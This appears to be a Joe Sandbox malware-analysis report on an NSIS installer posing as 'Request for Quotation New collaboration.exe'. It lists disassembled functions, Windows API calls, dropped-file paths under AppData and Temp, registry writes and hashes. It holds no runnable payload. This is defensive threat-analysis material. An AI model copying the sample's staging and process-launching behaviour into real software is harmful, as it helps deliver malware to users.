Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Request for Quotation New collaboration.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Request for Quotation New collaboration.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-3007363249
Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe,?,?,00000031), ref: 004017B8

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Strings

C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll, xrefs: 00401818, 00401834
Call, xrefs: 00401770, 00401779, 00401786, 00401798, 004017A4, 004017DA, 004017F0, 0040180E, 0040184A, 004018CB, 004018D4, 004018DE, 004018E9
C:\Users\user\AppData\Local\Temp\nso7880.tmp, xrefs: 00401804, 00401822
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe, xrefs: 00401781

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nso7880.tmp$C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe$Call
API String ID: 1941528284-4120063866
Opcode ID: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
Opcode Fuzzy Hash: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405BD9: ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
Opcode Fuzzy Hash: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNELBASE(0040BE78,00412F14,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNELBASE(000066F4,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Strings

x>A, xrefs: 004031F2

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: x>A
API String ID: 2146148272-3854404225
Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nso7880.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nso7880.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nso7880.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Strings

C:\Users\user\AppData\Local\Temp\nso7880.tmp, xrefs: 00402380, 004023A5, 004023B5, 004023C0

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nso7880.tmp
API String ID: 1356686001-1809235634
Opcode ID: 57df5d2fd497d946e5d44718c2ce9500a544491e1817e3951972c4e7e3852fff
Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
Opcode Fuzzy Hash: 57df5d2fd497d946e5d44718c2ce9500a544491e1817e3951972c4e7e3852fff
Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,?,?,76F92EE0,00405792,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe"), ref: 004059EE
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B

CreateDirectoryW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe,?,00000000,000000F0), ref: 00401630

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe, xrefs: 00401623

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe
API String ID: 3751793516-4064861044
Opcode ID: 9bef887c5d5f536874f37580d62bfdc690f86322df1a9697a894e0e2e9f3eda4
Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
Opcode Fuzzy Hash: 9bef887c5d5f536874f37580d62bfdc690f86322df1a9697a894e0e2e9f3eda4
Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DA9
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DAE
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DB3

GlobalFree.KERNEL32(00000000), ref: 1000181C
FreeLibrary.KERNEL32(?), ref: 10001893
GlobalFree.KERNEL32(00000000), ref: 100018B8

Part of subcall function 100022A1: GlobalAlloc.KERNEL32(00000040,405EA210), ref: 100022D3

Part of subcall function 1000260B: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017ED,00000000), ref: 1000267D

Part of subcall function 100015CC: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5

Part of subcall function 1000248D: wsprintfW.USER32 ref: 100024E1
Part of subcall function 1000248D: GlobalFree.KERNEL32(?), ref: 10002559
Part of subcall function 1000248D: GlobalFree.KERNEL32(00000000), ref: 10002582

Strings

, xrefs: 10001899

Memory Dump Source

Source File: 00000000.00000002.2037060970.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2037043192.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037076720.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037093643.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction ID: b3d4579510dcbc356f87b8c5eb81e8e4ebd4f83f88234b59d07570181d0aa013
Opcode Fuzzy Hash: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction Fuzzy Hash: 7831BF799043459AFB10DF74DCC5BDA37E8EB043D4F058529F90AAA08EDF74A985C760

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
WriteFile.KERNELBASE(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115

Strings

x>A, xrefs: 004030DE

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$PointerWrite
String ID: x>A
API String ID: 539440098-3854404225
Opcode ID: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
Opcode Fuzzy Hash: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9

Function 00405B85 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405BA3
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403358,1033,C:\Users\user\AppData\Local\Temp\), ref: 00405BBE

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B8A, 00405B8E
nsa, xrefs: 00405B92

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2113348990
Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Part of subcall function 00405665: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 806019d01c4059dad2e07343b2bd93566fca4abe4f6ec66dc814e8540e8620d4
Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
Opcode Fuzzy Hash: 806019d01c4059dad2e07343b2bd93566fca4abe4f6ec66dc814e8540e8620d4
Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99

Function 00405108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405137
CallWindowProcW.USER32(?,?,?,?), ref: 00405188

Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D

Strings

, xrefs: 00405118

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69

Function 00405665 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
CloseHandle.KERNEL32(?), ref: 00405697

Strings

Error launching installer, xrefs: 00405678

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
